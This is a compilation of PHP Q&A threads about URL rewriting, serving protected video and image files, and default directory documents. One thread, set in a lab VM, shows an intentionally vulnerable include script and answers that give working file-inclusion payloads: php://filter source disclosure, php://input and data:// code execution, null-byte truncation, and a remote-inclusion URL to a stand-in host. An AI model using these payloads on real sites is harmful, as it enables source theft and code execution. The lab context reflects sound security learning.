PHP Get variable in other file than php (eg. MP4) - php

So i was browsing through the web and found a video, upon inspecting the video source i found out that it had a get variable in the url, it looked like this:
http://www.blablabla.com/stream/2017/09/2a5ef169.mp4?expires=1302948611&token=1290239327
this part got my interest:
2a5ef169.mp4?expires=1302948611&token=1290239327
Its a MP4 file but accepts get variables. if those variables do not match a certain function i am not able to view the video so i think its linked to a php file.
I do know how GET and POST works in PHP but how do i apply this to a MP4 file or any other file.

Just because the extension ends in mp4, it doesn't mean "there is an mp4 file somewhere".
consider .htaccess can change extensions and using mod_rewrite or similar, people can redirect a given "clean" url to any php program.
So there may be a php interpreter behind the mp4 requests, and apache may have a modified httpd.conf or .htaccess file which routes /(.*).mp4 requests into a serve_video.php program (or whatever the name is).
This means in general, extensions don't mean anything.
by using HTTP header()s, the server might be responding dynamically (example: https://gist.github.com/ranacseruet/9826293) to each request (potentially in order to log the video's view count or something similar, like checking the HTTP REFERER in order to avoid hotlinking)
Hope that helps!

Related

How to access a video file in a directory located in my server's home directory

Unable to correctly use php code to load a video mp4 file stored in home directory.
Hi, I am building a WP site that sells instruction video mp4 files. To protect the files I have placed them in a directory called videos which is in the home directory (outside of the public_html directory) to protect the files from being downloaded for free. I am trying to write php code for loading the video. However, I can't access the video in /home/username/videos.
My code:
add_action('template_redirect', 'video_redirect', 5);
function video_redirect(){
if (is_admin())
return;
if (!is_page(videoplayerpageonmysite))
return;
$filename="/home/username/videos/videofile.mp4";
echo " Your browser does not support the video tag.";
Each time I run the code I get a No video with supported format... error.
I'm only able to get it to load the video file when it is in the public_html folder (it works perfectly then), but not when it is located in /home/username/videos/
Please help!
You can't give the browser a file path on your server's hard disk and expect it to be able to load it. It will resolve it as a relative URL, ask the HTTP server for it, and then get a 404.
You need to give the browser a URL that actually loads the file.
If you want to limit who can access it (e.g. people who have paid), then you could write a PHP program that checks to see if the request is coming from someone who has paid (i.e. Authentication + Authorization), then reads the file and outputs it in the HTTP response.
You have to use a PHP script as the source URL in the video tag and specify some identifier for which video it should load e.g. src="loadvideo.php?id=1" or something. (This is because the source must be a valid URL which is actually accessible on the webserver - the browser, which don't forget runs on the user's machine not the server, cannot navigate to a path on disk. If it could, then moving your files outside the public_html folder would not provide any security!)
And then when the video tag is loaded into the page, it will make a request to that URL, which causes the PHP script to run. The script must associate the provided ID with the correct file on disk, fetch the contents of that file and echo them as the response, along with appropriate headers (e.g. mime type etc). You can probably find examples of this pattern online already.
Of course the PHP script will also need to authenticate the request to make sure the requestor is a signed-in, paid user, otherwise you still aren't protecting anything. Without this last step, anyone could just visit the PHP script's URL and provide an ID until they got a result, and download the videos just as if you'd put them in the public_html folder. As long as you implement security correctly though, only users who already paid for the videos would be able to download them.

PHP security exploit - list content of remote PHP file?

I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?
If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
And, there are still ways to exploit.
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
Source disclosure
This feature doesn't need url inclusion allowed.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
File content will be encoded in base64, so it does support binary file.
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
Remote code execution
Actually you can't exploit this way, because allow_url_include is Off in this case.
But I must point it out because it's magical!
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
Don't forget the %00 to drop .php tail.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
And you will get familiar phpinfo once again!
Note
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139
Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).
http://example.com/index.php?page=setuppreset%00
This will remove the ".php" suffix from the inclusion and might help you somehow.
It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.

What is the difference between these two types URLs?

I was developing a web crawler when I noticed this.
URL 1: http://www.techwyse.com/services/
URL 2: http://www.techwyse.com/contact-us.php
URL 1 doesnt have any extension like HTML or aspx.But it displays a page . Is is possible to know the exact name of the page being displayed? (it is not displayed in Browser)
What do we call these kind of URLs like URL2 ?
Thanks in Advance
http://www.techwyse.com/services/ refers to a folder on the webserver whereas http://www.techwyse.com/contact-us.php refers to an actual file on the webserver.
When you request a folder 4 things can basically happen:
The webserver configured to have 'default files' like index.html, default.asp, index.php and one of these is shown.
The webserver found no 'default' files and folder browsing is enabled and you will actually get to see all the files and subfolders
There are no default files and folderbrowsing is disabled and you will see the error message 'folder browsing is disabled'
SEO is used and the webservers internally refers that URL to a specific file.
This is done by URL Rewritting
http://msdn.microsoft.com/en-us/library/ms972974.aspx
URL 1: is just calling a directory on the server and the webserver serves a default document.
In this case it's http://www.techwyse.com/services/index.php(same page as URL 1). You can try that this is not a coincidence by opening http://www.techwyse.com/services/index2.php which returns a 404.
URL 1 doesnt have any extension like HTML or aspx. But it displays a page. Is is possible to know the exact name of the page being displayed? (it is not displayed in Browser)
The name of the page will be the text inside the <title> element (assuming an HTML document). There is no way to know the filename, or even if there is a file to begin with. URLs resolve to resources and how the HTTP server determines the resource is an implementation detail of the HTTP server and utterly irrelevant to the client.
(Anecdote time: A friend was unimpressed by his university spidering the contents of his HTTP server and ignoring the robots.txt directives, so he wrote a script to generate random HTML documents containing random links, and let it spend a couple of days indexing utter nonsense on random URLs where the resources were all generated by random.py. There was no way to know that random.py was called random.py from outside the server (or even that it existed, although it was relatively easy to infer)).
The exact URL is http://www.techwyse.com/services/ (there might be other URLs that resolve to an identical resource, but that one is as written).
What do we call these kind of URLs like URL2 ?
URLs. (If you really want to distinguish them you could say "URLs with something that appears to be a file name in them").
The first URL is either handled by something like mod_rewrite or a Java servlet (which can be mapped to any path), or it is simply a directory index. Most any web server will allow you to place a page with a given (often configurable) name in a directory, such as index.html or index.php, and have that page load by default. So, for example, www.mysite.com/ actually loads www.mysite.com/index.html. This works on subdirectories as well.
It's likely that the first type of URL you mention was created by simply having a file named "index" inside the directory named "services". Most web servers will by default look for a file name "index" if the URL does not specify a file.
Considering the fact that the 2nd example is a file with a PHP extension, it's likely that the file referenced by the first URL is "index.php".
That's called SEO friendly urls.
and with PHP that can be achieved with the apache module mod_rewrite
EDIT: Did not gone through posted links.
Here services is the directory hence the file name set with DirectoryIndex in httpd.conf file (usually index.php but one can change) will be executed.
You can also change that file using .htaccess.
Let's do a quick test to understand this.
Create a file inside services directory and name it (for example test.php)
Create a .htaccess file and add below line
DirectoryIndex test.php
and then go to http://www.techwyse.com/services/
You will see now test.php file is getting exeucted instead of index.php

Storing and reading images above public_html

I am trying to secure my PHP Image upload script and the last hurdle I have to jump is making it so that users cannot directly excecute the images, but the server can still serve them in web pages. I tried changing ownership and permissions of the folders to no avail, so I am trying to store the images above public_html and display them in pages that are stored in public_html.
My File Structure:
- userimages
image.jpg
image2.jpg
- public_html
filetoserveimage.html
I tried linking to an image in the userimages folder like this:
<img src="../userimages/image.jpg">
But it does not work. Is there something I am missing here? If you have any better suggestions please let me know. I am trying to keep public users from executing potentially dangerous files they may have uploaded. Just as an extra security measure. Thanks!
You want something that's basically impossible.
The way a browser loads a page (in a very basic sense) is this:
Step 1: Download the page.
Step 2: Parse the page.
Step 3: Download anything referenced in the content of the page (images, stylesheets, javascripts, etc)
Each "Download" event is atomic.
It seems like you want to only serve images to people who have just downloaded a page that references those images.
As PHP Jedi illustrated, you can pass the files through PHP. You could expand on his code, and check the HTTP_REFERER on the request to ensure that people aren't grabbing "just" the image.
Now, serving every image through a PHP passthru script is not efficient, but it could work.
The most common reason people want to do this is to avoid "hotlinking" -- when people create image tags on other sites that reference the image on your server. When they do that, you expend resources handling requests that get presented on someone else's page.
If that's what you're really trying to avoid, you can use mod_rewrite to check the referer.
A decent-looking discussion of hotlinking/anti-hotlinking can be found here
Use an image relay script!
To serve a imagefile that is outside the public_html folder you would have to do it by a php script. E.g make a image-relay.php that reads the image that is outside the public html...
<?php
header('Content-Type: image/jpeg');
$_file = 'myimage.jpg'; // or $_GET['img']
echo file_get_contents('/myimages/'.$_file);
?>
Now, $_file could be a $_GET parameter, but its absolutley important to validate the input parameter...
now you can make an <img src="image-relay.php?img=flower.jpg"> to access a flower.jpg image that is located in /myimage/flower.jpg ...
Well, a web browser will only be able to access files and folders inside public_html.
If the public_html directory is the root of the server for your users, Apache cannot serve anything that is not inside/below that dorectory.
If you want a file to be served by Apache directly, you'll have to put it in/below public_html.
I think your misunderstanding is in the fact that if you include an image in an <img> tag, your browser will send the exact same request to the webserver to fetch it, that will be sent to the webserver if you try to open the src url of the image in your browser directly.
Therefore, either both things work, or neither.
There are hacks around, involving a (php or other) script to make sure that an IP that has requested the image has also requested the html page within the last few seconds (which will not work if the user is behind a proxy that rotates outgoing IPs) or by checking the referer (which does not work with HTTPs and also not if the user has referer disabled).
If you want to make sure that only some users can see the image (both via <img> tag and directly), you can put the image outside public_html and have a (php or other) script that verifies the user's credentials before serving the image.
If you are using Apache or lighttpd you can use the X-Sendfile header to send files that are not in the web root(provided you haven't changed the configuration of mod_xsendfile).
To learn more about X-sendfile see this site.
This solution is giving you the best possible performance as PHP doesn't send the file but the server does and therefore PHP can be exited while the files are being served.
Hope that helps.

Reading rewrited (mod_rewrite) files from php

Assuming you have only the URL to a file (hosted on the same server as the app) that has been rewritten via mod_rewrite rules.
How would you read the contents of that file with PHP without having direct access to a .htaccess file or the rewrite rules used to building the original URL?
I'm trying to extract all the script tags that have the "src" attribute set, retrieve the contents of the target file, merge all of them into one big javascript file, minify it and then serve that one instead.
The problem is that reading all of the files via file_get_contents seems to slow the page down, so I was looking at alternatives and if I would be able to somehow read the files directly from the file system without having to generate other requests in the background, but to do this, I would have to find out the path to the files and some are accessed via URLs that have been rewritten.
You can't include it as if it were the original PHP, only get the results of the PHP's execution itself.
If you've got fopen wrappers on, this is as easy as using require, include or file_get_contents on the rewritten URL. Otherwise you have fsockopen and curl as options to create the HTTP request for the result.
As you cannot say how the request would be handled, the only possible solution is to send a HTTP request to that server. But that would only get you the output of that file/script.
PHP lays behind apache and has file access on file-system level using fopen-like or include-like etc... functions. Rewrite module won't work for this access, because these functions use OS file access routines but not apache.
There's no way to do this, but implementing in php-script the same rules of URL-rewriting as you have in .htaccess, because apache-rewriting and php file access know nothing about each other and are on comletely different layers of web-application.
AFTER EDIT: The only way - imlement your rewrite rules in php script and use file system php access after parsing the URLs via php (not rewrite module).

Categories